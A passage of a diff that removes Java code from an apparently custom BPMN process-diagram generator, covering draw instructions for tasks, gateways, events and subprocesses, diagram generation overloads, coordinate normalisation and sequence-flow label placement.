FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // user task - activityDrawInstructions.put(UserTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawUserTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // script task - activityDrawInstructions.put(ScriptTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawScriptTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // service task - activityDrawInstructions.put(ServiceTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - ServiceTask serviceTask = (ServiceTask) flowNode; - if ("camel".equalsIgnoreCase(serviceTask.getType())) { - processDiagramCanvas.drawCamelTask(serviceTask.getName(), graphicInfo, scaleFactor); - }else if (ServiceTask.HTTP_TASK.equalsIgnoreCase(serviceTask.getType())) { - processDiagramCanvas.drawHttpTask(serviceTask.getName(), graphicInfo, scaleFactor); - } else if (ServiceTask.DMN_TASK.equalsIgnoreCase(serviceTask.getType())) { - processDiagramCanvas.drawDMNTask(serviceTask.getName(), graphicInfo, scaleFactor); - } else if (ServiceTask.SHELL_TASK.equalsIgnoreCase(serviceTask.getType())) { - processDiagramCanvas.drawShellTask(serviceTask.getName(), graphicInfo, scaleFactor); - } else { - processDiagramCanvas.drawServiceTask(serviceTask.getName(), graphicInfo, scaleFactor); - } - } - }); - - // http service task - activityDrawInstructions.put(HttpServiceTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawHttpTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // receive task - activityDrawInstructions.put(ReceiveTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawReceiveTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // send task - activityDrawInstructions.put(SendTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawSendTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // manual task - activityDrawInstructions.put(ManualTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawManualTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // send event service task - activityDrawInstructions.put(SendEventServiceTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawSendEventServiceTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // external worker service task - activityDrawInstructions.put(ExternalWorkerServiceTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - ServiceTask serviceTask = (ServiceTask) flowNode; - processDiagramCanvas.drawServiceTask(serviceTask.getName(), graphicInfo, scaleFactor); - } - }); - - // case service task - activityDrawInstructions.put(CaseServiceTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawCaseServiceTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // businessRuleTask task - activityDrawInstructions.put(BusinessRuleTask.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawBusinessRuleTask(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // exclusive gateway - activityDrawInstructions.put(ExclusiveGateway.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawExclusiveGateway(graphicInfo, scaleFactor); - } - }); - - // inclusive gateway - activityDrawInstructions.put(InclusiveGateway.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawInclusiveGateway(graphicInfo, scaleFactor); - } - }); - - // parallel gateway - activityDrawInstructions.put(ParallelGateway.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawParallelGateway(graphicInfo, scaleFactor); - } - }); - - // event based gateway - activityDrawInstructions.put(EventGateway.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawEventBasedGateway(graphicInfo, scaleFactor); - } - }); - - // Boundary timer - activityDrawInstructions.put(BoundaryEvent.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - BoundaryEvent boundaryEvent = (BoundaryEvent) flowNode; - if (boundaryEvent.getEventDefinitions() != null && !boundaryEvent.getEventDefinitions().isEmpty()) { - EventDefinition eventDefinition = boundaryEvent.getEventDefinitions().get(0); - if (eventDefinition instanceof TimerEventDefinition) { - processDiagramCanvas.drawCatchingTimerEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof ConditionalEventDefinition) { - processDiagramCanvas.drawCatchingConditionalEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof ErrorEventDefinition) { - processDiagramCanvas.drawCatchingErrorEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof EscalationEventDefinition) { - processDiagramCanvas.drawCatchingEscalationEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof SignalEventDefinition) { - processDiagramCanvas.drawCatchingSignalEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof MessageEventDefinition) { - processDiagramCanvas.drawCatchingMessageEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - - } else if (eventDefinition instanceof CompensateEventDefinition) { - processDiagramCanvas.drawCatchingCompensateEvent(graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - } - - } else { - List eventTypeElements = boundaryEvent.getExtensionElements().get("eventType"); - if (eventTypeElements != null && eventTypeElements.size() > 0) { - processDiagramCanvas.drawCatchingEventRegistryEvent(flowNode.getName(), graphicInfo, boundaryEvent.isCancelActivity(), scaleFactor); - } - } - } - }); - - // subprocess - activityDrawInstructions.put(SubProcess.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); - } else { - processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); - } - } - }); - - // transaction - activityDrawInstructions.put(Transaction.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); - } else { - processDiagramCanvas.drawExpandedTransaction(flowNode.getName(), graphicInfo, scaleFactor); - } - } - }); - - // Event subprocess - activityDrawInstructions.put(EventSubProcess.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, true, scaleFactor); - } else { - processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, true, scaleFactor); - } - } - }); - - // Adhoc subprocess - activityDrawInstructions.put(AdhocSubProcess.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - if (graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - processDiagramCanvas.drawCollapsedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); - } else { - processDiagramCanvas.drawExpandedSubProcess(flowNode.getName(), graphicInfo, false, scaleFactor); - } - } - }); - - // call activity - activityDrawInstructions.put(CallActivity.class, new ActivityDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, FlowNode flowNode) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - processDiagramCanvas.drawCollapsedCallActivity(flowNode.getName(), graphicInfo, scaleFactor); - } - }); - - // text annotation - artifactDrawInstructions.put(TextAnnotation.class, new ArtifactDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(artifact.getId()); - TextAnnotation textAnnotation = (TextAnnotation) artifact; - processDiagramCanvas.drawTextAnnotation(textAnnotation.getText(), graphicInfo, scaleFactor); - } - }); - - // association - artifactDrawInstructions.put(Association.class, new ArtifactDrawInstruction() { - - @Override - public void draw(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { - Association association = (Association) artifact; - String sourceRef = association.getSourceRef(); - String targetRef = association.getTargetRef(); - - // source and target can be instance of FlowElement or Artifact - BaseElement sourceElement = bpmnModel.getFlowElement(sourceRef); - BaseElement targetElement = bpmnModel.getFlowElement(targetRef); - if (sourceElement == null) { - sourceElement = bpmnModel.getArtifact(sourceRef); - } - if (targetElement == null) { - targetElement = bpmnModel.getArtifact(targetRef); - } - List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(artifact.getId()); - graphicInfoList = connectionPerfectionizer(processDiagramCanvas, bpmnModel, sourceElement, targetElement, graphicInfoList); - int[] xPoints = new int[graphicInfoList.size()]; - int[] yPoints = new int[graphicInfoList.size()]; - for (int i = 1; i < graphicInfoList.size(); i++) { - GraphicInfo graphicInfo = graphicInfoList.get(i); - GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); - - if (i == 1) { - xPoints[0] = (int) previousGraphicInfo.getX(); - yPoints[0] = (int) previousGraphicInfo.getY(); - } - xPoints[i] = (int) graphicInfo.getX(); - yPoints[i] = (int) graphicInfo.getY(); - } - - AssociationDirection associationDirection = association.getAssociationDirection(); - processDiagramCanvas.drawAssociation(xPoints, yPoints, associationDirection, false, scaleFactor); - } - }); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, - String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - - return generateProcessDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, - activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI).generateImage(imageType); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, 1.0, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, - List highLightedActivities, List highLightedFlows, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, imageType, highLightedActivities, Collections.emptyList(), drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, List highLightedActivities, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, imageType, highLightedActivities, Collections.emptyList(), scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, String activityFontName, - String labelFontName, String annotationFontName, ClassLoader customClassLoader, boolean drawSequenceFlowNameWithNoLabelDI) { - - return generateDiagram(bpmnModel, imageType, Collections.emptyList(), Collections.emptyList(), - activityFontName, labelFontName, annotationFontName, customClassLoader, 1.0, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateDiagram(BpmnModel bpmnModel, String imageType, String activityFontName, - String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - - return generateDiagram(bpmnModel, imageType, Collections.emptyList(), Collections.emptyList(), - activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generatePngDiagram(BpmnModel bpmnModel, boolean drawSequenceFlowNameWithNoLabelDI) { - return generatePngDiagram(bpmnModel, 1.0, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generatePngDiagram(BpmnModel bpmnModel, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, "png", Collections.emptyList(), Collections.emptyList(), scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public InputStream generateJpgDiagram(BpmnModel bpmnModel) { - return generateJpgDiagram(bpmnModel, 1.0, false); - } - - @Override - public InputStream generateJpgDiagram(BpmnModel bpmnModel, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - return generateDiagram(bpmnModel, "jpg", Collections.emptyList(), Collections.emptyList(), drawSequenceFlowNameWithNoLabelDI); - } - - public BufferedImage generateImage(BpmnModel bpmnModel, String imageType, List highLightedActivities, List highLightedFlows, - String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - - return generateProcessDiagram(bpmnModel, imageType, highLightedActivities, highLightedFlows, - activityFontName, labelFontName, annotationFontName, customClassLoader, scaleFactor, drawSequenceFlowNameWithNoLabelDI).generateBufferedImage(imageType); - } - - public BufferedImage generateImage(BpmnModel bpmnModel, String imageType, - List highLightedActivities, List highLightedFlows, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - - return generateImage(bpmnModel, imageType, highLightedActivities, highLightedFlows, null, null, null, null, scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - - @Override - public BufferedImage generatePngImage(BpmnModel bpmnModel, double scaleFactor) { - return generateImage(bpmnModel, "png", Collections.emptyList(), Collections.emptyList(), scaleFactor, false); - } - - protected CustomDefaultProcessDiagramCanvas generateProcessDiagram(BpmnModel bpmnModel, String imageType, - List highLightedActivities, List highLightedFlows, - String activityFontName, String labelFontName, String annotationFontName, ClassLoader customClassLoader, double scaleFactor, boolean drawSequenceFlowNameWithNoLabelDI) { - - prepareBpmnModel(bpmnModel); - - CustomDefaultProcessDiagramCanvas processDiagramCanvas = initProcessDiagramCanvas(bpmnModel, imageType, activityFontName, labelFontName, annotationFontName, customClassLoader); - - // Draw pool shape, if process is participant in collaboration - for (Pool pool : bpmnModel.getPools()) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(pool.getId()); - processDiagramCanvas.drawPoolOrLane(pool.getName(), graphicInfo, scaleFactor); - } - - // Draw lanes - for (Process process : bpmnModel.getProcesses()) { - for (Lane lane : process.getLanes()) { - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(lane.getId()); - processDiagramCanvas.drawPoolOrLane(lane.getName(), graphicInfo, scaleFactor); - } - } - - // Draw activities and their sequence-flows - for (Process process : bpmnModel.getProcesses()) { - for (FlowNode flowNode : process.findFlowElementsOfType(FlowNode.class)) { - if (!isPartOfCollapsedSubProcess(flowNode, bpmnModel)) { - drawActivity(processDiagramCanvas, bpmnModel, flowNode, highLightedActivities, highLightedFlows, scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - } - } - - // Draw artifacts - for (Process process : bpmnModel.getProcesses()) { - - for (Artifact artifact : process.getArtifacts()) { - drawArtifact(processDiagramCanvas, bpmnModel, artifact); - } - - List subProcesses = process.findFlowElementsOfType(SubProcess.class, true); - if (subProcesses != null) { - for (SubProcess subProcess : subProcesses) { - - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(subProcess.getId()); - if (graphicInfo != null && graphicInfo.getExpanded() != null && !graphicInfo.getExpanded()) { - continue; - } - - if (!isPartOfCollapsedSubProcess(subProcess, bpmnModel)) { - for (Artifact subProcessArtifact : subProcess.getArtifacts()) { - drawArtifact(processDiagramCanvas, bpmnModel, subProcessArtifact); - } - } - } - } - } - - return processDiagramCanvas; - } - - protected void prepareBpmnModel(BpmnModel bpmnModel) { - - // Need to make sure all elements have positive x and y. - // Check all graphicInfo and update the elements accordingly - - List allGraphicInfos = new ArrayList<>(); - if (bpmnModel.getLocationMap() != null) { - allGraphicInfos.addAll(bpmnModel.getLocationMap().values()); - } - if (bpmnModel.getLabelLocationMap() != null) { - allGraphicInfos.addAll(bpmnModel.getLabelLocationMap().values()); - } - if (bpmnModel.getFlowLocationMap() != null) { - for (List flowGraphicInfos : bpmnModel.getFlowLocationMap().values()) { - allGraphicInfos.addAll(flowGraphicInfos); - } - } - - if (allGraphicInfos.size() > 0) { - - boolean needsTranslationX = false; - boolean needsTranslationY = false; - - double lowestX = 0.0; - double lowestY = 0.0; - - // Collect lowest x and y - for (GraphicInfo graphicInfo : allGraphicInfos) { - - double x = graphicInfo.getX(); - double y = graphicInfo.getY(); - - if (x < lowestX) { - needsTranslationX = true; - lowestX = x; - } - if (y < lowestY) { - needsTranslationY = true; - lowestY = y; - } - - } - - // Update all graphicInfo objects - if (needsTranslationX || needsTranslationY) { - - double translationX = Math.abs(lowestX); - double translationY = Math.abs(lowestY); - - for (GraphicInfo graphicInfo : allGraphicInfos) { - if (needsTranslationX) { - graphicInfo.setX(graphicInfo.getX() + translationX); - } - if (needsTranslationY) { - graphicInfo.setY(graphicInfo.getY() + translationY); - } - } - } - - } - - } - - protected void drawActivity(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, - FlowNode flowNode, List highLightedActivities, List highLightedFlows, double scaleFactor, Boolean drawSequenceFlowNameWithNoLabelDI) { - - ActivityDrawInstruction drawInstruction = activityDrawInstructions.get(flowNode.getClass()); - if (drawInstruction != null) { - - drawInstruction.draw(processDiagramCanvas, bpmnModel, flowNode); - - // Gather info on the multi instance marker - boolean multiInstanceSequential = false; - boolean multiInstanceParallel = false; - boolean collapsed = false; - if (flowNode instanceof Activity) { - Activity activity = (Activity) flowNode; - MultiInstanceLoopCharacteristics multiInstanceLoopCharacteristics = activity.getLoopCharacteristics(); - if (multiInstanceLoopCharacteristics != null) { - multiInstanceSequential = multiInstanceLoopCharacteristics.isSequential(); - multiInstanceParallel = !multiInstanceSequential; - } - } - - // Gather info on the collapsed marker - GraphicInfo graphicInfo = bpmnModel.getGraphicInfo(flowNode.getId()); - if (flowNode instanceof SubProcess) { - collapsed = graphicInfo.getExpanded() != null && !graphicInfo.getExpanded(); - } else if (flowNode instanceof CallActivity) { - collapsed = true; - } - - if (scaleFactor == 1.0) { - // Actually draw the markers - processDiagramCanvas.drawActivityMarkers((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight(), - multiInstanceSequential, multiInstanceParallel, collapsed); - } - - // Draw highlighted activities - if (highLightedActivities.contains(flowNode.getId())) { - drawHighLightRed(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); - } else if (highLightedActivities.contains(Color.RED.toString() + flowNode.getId())) { - drawHighLight(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); - } - - } else if (flowNode instanceof Task) { - activityDrawInstructions.get(Task.class).draw(processDiagramCanvas, bpmnModel, flowNode); - - if (highLightedActivities.contains(flowNode.getId())) { - drawHighLightRed(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); - } else if (highLightedActivities.contains(Color.RED.toString() + flowNode.getId())) { - drawHighLight(processDiagramCanvas, bpmnModel.getGraphicInfo(flowNode.getId())); - } - } - - // Outgoing transitions of activity - for (SequenceFlow sequenceFlow : flowNode.getOutgoingFlows()) { - boolean highLighted = (highLightedFlows.contains(sequenceFlow.getId())); - String defaultFlow = null; - if (flowNode instanceof Activity) { - defaultFlow = ((Activity) flowNode).getDefaultFlow(); - } else if (flowNode instanceof Gateway) { - defaultFlow = ((Gateway) flowNode).getDefaultFlow(); - } - - boolean isDefault = false; - if (defaultFlow != null && defaultFlow.equalsIgnoreCase(sequenceFlow.getId())) { - isDefault = true; - } - boolean drawConditionalIndicator = sequenceFlow.getConditionExpression() != null && sequenceFlow.getConditionExpression().trim().length() > 0 && !(flowNode instanceof Gateway); - - String sourceRef = sequenceFlow.getSourceRef(); - String targetRef = sequenceFlow.getTargetRef(); - FlowElement sourceElement = bpmnModel.getFlowElement(sourceRef); - FlowElement targetElement = bpmnModel.getFlowElement(targetRef); - List graphicInfoList = bpmnModel.getFlowLocationGraphicInfo(sequenceFlow.getId()); - if (graphicInfoList != null && graphicInfoList.size() > 0) { - graphicInfoList = connectionPerfectionizer(processDiagramCanvas, bpmnModel, sourceElement, targetElement, graphicInfoList); - int[] xPoints = new int[graphicInfoList.size()]; - int[] yPoints = new int[graphicInfoList.size()]; - - for (int i = 1; i < graphicInfoList.size(); i++) { - GraphicInfo graphicInfo = graphicInfoList.get(i); - GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); - - if (i == 1) { - xPoints[0] = (int) previousGraphicInfo.getX(); - yPoints[0] = (int) previousGraphicInfo.getY(); - } - xPoints[i] = (int) graphicInfo.getX(); - yPoints[i] = (int) graphicInfo.getY(); - - } - - processDiagramCanvas.drawSequenceflow(xPoints, yPoints, drawConditionalIndicator, isDefault, highLighted, scaleFactor); - - // Draw sequenceflow label - GraphicInfo labelGraphicInfo = bpmnModel.getLabelGraphicInfo(sequenceFlow.getId()); - if (labelGraphicInfo != null) { - processDiagramCanvas.drawLabel(sequenceFlow.getName(), labelGraphicInfo, false); - } else { - if (drawSequenceFlowNameWithNoLabelDI) { - GraphicInfo lineCenter = getLineCenter(graphicInfoList); - processDiagramCanvas.drawLabel(sequenceFlow.getName(), lineCenter, false); - } - - } - } - } - - // Nested elements - if (flowNode instanceof FlowElementsContainer) { - for (FlowElement nestedFlowElement : ((FlowElementsContainer) flowNode).getFlowElements()) { - if (nestedFlowElement instanceof FlowNode && !isPartOfCollapsedSubProcess(nestedFlowElement, bpmnModel)) { - drawActivity(processDiagramCanvas, bpmnModel, (FlowNode) nestedFlowElement, - highLightedActivities, highLightedFlows, scaleFactor, drawSequenceFlowNameWithNoLabelDI); - } - } - } - } - - /** - * This method makes coordinates of connection flow better. - * - * @param processDiagramCanvas - * @param bpmnModel - * @param sourceElement - * @param targetElement - * @param graphicInfoList - * @return - */ - protected static List connectionPerfectionizer(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, BaseElement sourceElement, BaseElement targetElement, List graphicInfoList) { - GraphicInfo sourceGraphicInfo = bpmnModel.getGraphicInfo(sourceElement.getId()); - GraphicInfo targetGraphicInfo = bpmnModel.getGraphicInfo(targetElement.getId()); - - CustomDefaultProcessDiagramCanvas.SHAPE_TYPE sourceShapeType = getShapeType(sourceElement); - CustomDefaultProcessDiagramCanvas.SHAPE_TYPE targetShapeType = getShapeType(targetElement); - - return processDiagramCanvas.connectionPerfectionizer(sourceShapeType, targetShapeType, sourceGraphicInfo, targetGraphicInfo, graphicInfoList); - } - - /** - * This method returns shape type of base element.
- * Each element can be presented as rectangle, rhombus, or ellipse. - * - * @param baseElement - * @return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE - */ - protected static CustomDefaultProcessDiagramCanvas.SHAPE_TYPE getShapeType(BaseElement baseElement) { - if (baseElement instanceof Task || baseElement instanceof Activity || baseElement instanceof TextAnnotation) { - return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Rectangle; - } else if (baseElement instanceof Gateway) { - return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Rhombus; - } else if (baseElement instanceof Event) { - return CustomDefaultProcessDiagramCanvas.SHAPE_TYPE.Ellipse; - } else { - // unknown source element, just do not correct coordinates - } - return null; - } - - protected static GraphicInfo getLineCenter(List graphicInfoList) { - GraphicInfo gi = new GraphicInfo(); - - int[] xPoints = new int[graphicInfoList.size()]; - int[] yPoints = new int[graphicInfoList.size()]; - - double length = 0; - double[] lengths = new double[graphicInfoList.size()]; - lengths[0] = 0; - double m; - for (int i = 1; i < graphicInfoList.size(); i++) { - GraphicInfo graphicInfo = graphicInfoList.get(i); - GraphicInfo previousGraphicInfo = graphicInfoList.get(i - 1); - - if (i == 1) { - xPoints[0] = (int) previousGraphicInfo.getX(); - yPoints[0] = (int) previousGraphicInfo.getY(); - } - xPoints[i] = (int) graphicInfo.getX(); - yPoints[i] = (int) graphicInfo.getY(); - - length += Math.sqrt( - Math.pow((int) graphicInfo.getX() - (int) previousGraphicInfo.getX(), 2) + - Math.pow((int) graphicInfo.getY() - (int) previousGraphicInfo.getY(), 2)); - lengths[i] = length; - } - m = length / 2; - int p1 = 0; - int p2 = 1; - for (int i = 1; i < lengths.length; i++) { - double len = lengths[i]; - p1 = i - 1; - p2 = i; - if (len > m) { - break; - } - } - - GraphicInfo graphicInfo1 = graphicInfoList.get(p1); - GraphicInfo graphicInfo2 = graphicInfoList.get(p2); - - double AB = (int) graphicInfo2.getX() - (int) graphicInfo1.getX(); - double OA = (int) graphicInfo2.getY() - (int) graphicInfo1.getY(); - double OB = lengths[p2] - lengths[p1]; - double ob = m - lengths[p1]; - double ab = AB * ob / OB; - double oa = OA * ob / OB; - - double mx = graphicInfo1.getX() + ab; - double my = graphicInfo1.getY() + oa; - - gi.setX(mx); - gi.setY(my); - return gi; - } - - protected void drawArtifact(CustomDefaultProcessDiagramCanvas processDiagramCanvas, BpmnModel bpmnModel, Artifact artifact) { - - ArtifactDrawInstruction drawInstruction = artifactDrawInstructions.get(artifact.getClass()); - if (drawInstruction != null) { - drawInstruction.draw(processDiagramCanvas, bpmnModel, artifact); - } - } - - private static void drawHighLight(CustomDefaultProcessDiagramCanvas processDiagramCanvas, GraphicInfo graphicInfo) { - processDiagramCanvas.drawHighLight((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight()); - - } - - private static void drawHighLightRed(CustomDefaultProcessDiagramCanvas processDiagramCanvas, GraphicInfo graphicInfo) { - processDiagramCanvas.drawHighLightRed((int) graphicInfo.getX(), (int) graphicInfo.getY(), (int) graphicInfo.getWidth(), (int) graphicInfo.getHeight()); - - } - - protected static CustomDefaultProcessDiagramCanvas 